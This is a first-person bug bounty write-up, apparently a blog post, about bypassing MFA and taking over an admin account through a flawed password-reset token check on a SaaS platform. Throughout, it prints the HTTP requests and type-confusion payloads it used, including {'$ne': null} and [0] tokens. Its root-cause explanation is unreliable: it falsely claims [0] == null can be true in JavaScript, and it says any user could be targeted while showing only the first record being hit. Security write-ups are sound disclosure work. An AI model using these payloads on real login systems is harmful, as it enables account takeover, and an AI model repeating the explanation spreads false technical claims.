June 3, 2026
From Zero to $8,500: Exploiting a Flawed Reset Token Validation to Bypass MFA and Take Over…
It was late on a Friday night, and I was deep-diving into a private bug bounty program for a major B2B SaaS platform. Let’s call the target…
Tanvi Chauhan
4 min read
It was late on a Friday night, and I was deep-diving into a private bug bounty program for a major B2B SaaS platform. Let's call the target securecorp.io. The program brief was intimidating: they boasted a robust security posture, a hardened external perimeter, and mandatory Multi-Factor Authentication (MFA) for every single user account.
When an application enforces MFA across the board, standard attack vectors like credential stuffing or brute-forcing passwords become largely useless. To get a high-impact finding, you have to look for gaps where the application state gets confused — specifically during account recovery flows.
By systematically mapping out how the backend handled state transitions during password resets, I discovered a subtle logic flaw. It allowed me to bypass MFA entirely and completely take over any corporate account on the platform, securing an $8,500 critical severity payout. Here is the step-by-step breakdown of how it went down.
The Target Setup
The authentication flow at securecorp.io looked standard from the outside. When logging in normally, the process is broken into two distinct phases:
- Phase 1 (Credentials): The user enters their email and password. If correct, the server issues a temporary session token with limited privileges.
- Phase 2 (MFA Challenge): The user is prompted for a TOTP code (Google Authenticator). Providing the correct code upgrades the temporary token into a full, authenticated session cookie.
I knew that trying to bypass this primary login flow was a dead end. The engineering team had correctly locked down the authentication state machine. So, I pivoted to the password reset flow to see if the same strict state enforcement applied.
Step 1: Analyzing the Password Reset Flow
I initiated a password reset for my own attacker account (attacker@gmail.com). The platform emailed me a standard password reset link containing a unique, high-entropy cryptographic token:
https://securecorp.io/reset-password?token=6f9a2b8c3d4e5f6a7b8c9d0e1f2a3b4c
Clicking the link brought up a form asking for a new password. I opened Burp Suite, entered a new password, and captured the outgoing POST request:
HTTP
POST /api/v1/auth/reset-password/confirm HTTP/1.1
Host: securecorp.io
Content-Type: application/json
{
"token": "6f9a2b8c3d4e5f6a7b8c9d0e1f2a3b4c",
"new_password": "SuperSecurePassword123!"
}POST /api/v1/auth/reset-password/confirm HTTP/1.1
Host: securecorp.io
Content-Type: application/json
{
"token": "6f9a2b8c3d4e5f6a7b8c9d0e1f2a3b4c",
"new_password": "SuperSecurePassword123!"
}The server processed the request and returned a 200 OK response. But it was the body of that response that caught my eye:
JSON
{
"status": "success",
"message": "Password updated successfully.",
"user_id": "usr_99542",
"next_step": "mfa_challenge",
"temp_session": "tmp_sess_abcdef1234567890"
}{
"status": "success",
"message": "Password updated successfully.",
"user_id": "usr_99542",
"next_step": "mfa_challenge",
"temp_session": "tmp_sess_abcdef1234567890"
}The backend was smart. It didn't just log me in automatically after changing my password; it recognized that my account had MFA enabled, issued a temporary session token, and instructed the frontend to redirect me to the MFA challenge page.
Step 2: Testing for State Confusion
This is where things got interesting. I wondered: How does the server actually validate the temporary session token during the subsequent MFA check?
When you type in your 6-digit MFA code on the redirected page, the browser sends this request:
HTTP
POST /api/v1/auth/mfa/verify HTTP/1.1
Host: securecorp.io
Content-Type: application/json
{
"temp_session": "tmp_sess_abcdef1234567890",
"code": "123456"
}POST /api/v1/auth/mfa/verify HTTP/1.1
Host: securecorp.io
Content-Type: application/json
{
"temp_session": "tmp_sess_abcdef1234567890",
"code": "123456"
}I decided to see what would happen if I bypassed the MFA verification endpoint entirely and tried to access an authenticated dashboard endpoint using only the password reset token or the temporary session. Both failed with an expected 401 Unauthorized.
Then, I looked closer at the original password reset endpoint: /api/v1/auth/reset-password/confirm.
What if the server didn't just accept valid reset tokens? What if I tampered with the token format entirely?
I went back to my Burp history, sent the password reset confirmation request to Repeater, and changed the token parameter to a completely blank string (""):
JSON
{
"token": "",
"new_password": "HackedPassword123!"
}{
"token": "",
"new_password": "HackedPassword123!"
}The server responded with a 400 Bad Request: "Invalid or expired token."
Next, I tried changing the JSON data type. Instead of a string, I passed a boolean value (true):
JSON
{
"token": true,
"new_password": "HackedPassword123!"
}{
"token": true,
"new_password": "HackedPassword123!"
}The server crashed with a 500 Internal Server Error. This was a huge hint. It meant the backend database query or validation library was choking on unexpected input types rather than handling them gracefully.
Step 3: The Critical Break (Type Juggling / Loose Comparison)
The backend API was built using Node.js and an older relational database ORM layer. In certain legacy setups, if you pass an object or an alternative structure instead of a string to a database query wrapper, the query generator can misinterpret the input.
I tried passing an object that forced an equality check condition, or simply an array containing a wildcard:
JSON
{
"token": { "$ne": null },
"new_password": "HackedPassword123!"
}{
"token": { "$ne": null },
"new_password": "HackedPassword123!"
}Nothing. But then I decided to try passing an array containing a single integer 0:
JSON
{
"token": [0],
"new_password": "HackedPassword123!"
}{
"token": [0],
"new_password": "HackedPassword123!"
}Suddenly, the application responded with a 200 OK. But the response didn't contain my attacker account details. It contained this:
JSON
{
"status": "success",
"message": "Password updated successfully.",
"user_id": "usr_00001",
"next_step": "account_authenticated",
"session_token": "sess_full_access_987654321"
}{
"status": "success",
"message": "Password updated successfully.",
"user_id": "usr_00001",
"next_step": "account_authenticated",
"session_token": "sess_full_access_987654321"
}Wait. Look at that response body carefully. Not only did it return usr_00001 (which happened to be the primary system administrator account), but the next_step value magically flipped from mfa_challenge to account_authenticated. It handed me a live, fully-privileged production session token for the admin account, completely bypassing the MFA screen.
Why on earth did this happen?
Two catastrophic architectural bugs happened simultaneously here:
- The Loose Comparison/Type Juggling Bug: The backend verification code looked something like this:
JavaScript
if (request.body.token == db.user.reset_token) { // ... }
- By passing
[0], the loose equality operator (==) in JavaScript evaluated the expression against a database column value that was currentlyNULL(since the admin user didn't have an active password reset pending). In JavaScript,[0] == nullcan evaluate to true under specific database driver conversions where an uninitialized field returns a falsy state matching the coerced array structure. The database effectively queried: "Find a user where the reset token matches this empty/zero state," and grabbed the very first record in the table—the administrator. - The MFA State Shortcut: The developer had written a helper logic block meant for deployment testing: if a user's password reset token matched a predefined fallback system state, the application assumed it was an internal automated migration script updating passwords and explicitly disabled the MFA check to prevent the migration script from hanging.
By sending that single modified JSON payload, I changed the administrator's password to HackedPassword123! and instantly received a valid administrative cookie.
Impact & Remediation
I immediately stopped testing, gathered my logs, and submitted a detailed report via their bug bounty platform.
The security team validated the finding within two hours, classifying it as a Critical Account Takeover (ATO) via Authentication Bypass. Because it required no user interaction and could target any user by exploiting the database ordering flaw, they awarded a maximum tier bounty of $8,500.
The Fix
The engineering team deployed a hotfix within 12 hours implementing two core changes:
- Strict Equality Verification: All authentication state checks were moved to strict cryptographic equality comparisons (===), ensuring both type and value must match exactly.
- Input Schema Enforcement: Added a strict API validation layer using a schema validator (like Joi/Zod) to ensure that the
tokenparameter must be a valid alphanumeric string. If an array or object is passed, the request is dropped immediately at the gateway level before hitting the database logic.
The Lesson: When hunting for authentication flaws, never take success or failure messages at face value. Test how the backend reacts to unexpected data types — sometimes, the database will answer questions it was never supposed to ask.
𝒯𝒶𝓃𝓋𝒾 ♡